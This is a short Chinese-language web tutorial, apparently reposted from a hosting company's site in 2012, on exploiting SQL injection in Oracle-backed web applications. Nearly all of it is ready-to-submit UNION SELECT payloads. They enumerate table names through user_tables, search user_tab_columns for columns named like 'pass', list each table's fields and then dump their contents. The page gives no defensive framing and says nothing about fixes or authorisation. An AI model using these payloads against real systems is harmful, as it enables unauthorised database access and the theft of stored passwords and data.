Oracle注入点信息基本检测(2) |
| 发布时间: 2012/7/7 11:22:28 |
|
获取表名
在注入点处提交: and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5…… from dual 可查询数据库中第一个表,然后继续查询提交: and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'第一个表名'),4,5…… from dual 注意,表名要用大写或大写的16进制代码。用同样的方法,可以查询出当前用户数据库中的所有表名。 另外,也可以采用与前面MSSQL注入相似的方法,直接包含pass的表名,提交查询如下: and (select column_name from user_tab_columns where column_name like'%25pass%25')>0 如果返回页面正常的话,则说明当前数据库中有包含pass的表名。再提交: and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like'%25pass%25'),4,5…… from dual 即可得到包含pass的表名。 获取字段名 在注入点处提交: and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name='表名' and rownum=1),4,5…… from dual 可获取指定中第一个字段。然后继续查询提交: and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第1个字段名' and rownum=1),4,5…… from dual 即可获取指定表中第二个字段。用同样的方法,可以查询出指定表中的所有字段名。 获取字段内容 在注入点处提交: and 1=2 union select 1,2,3,字段名,4,5…… from 表名 即可查询出目标表里面的相应字段内容,以此类推,可以获取表中的所有字段内容。 本文出自:亿恩科技【www.enkj.com】 |
京公网安备41019702002023号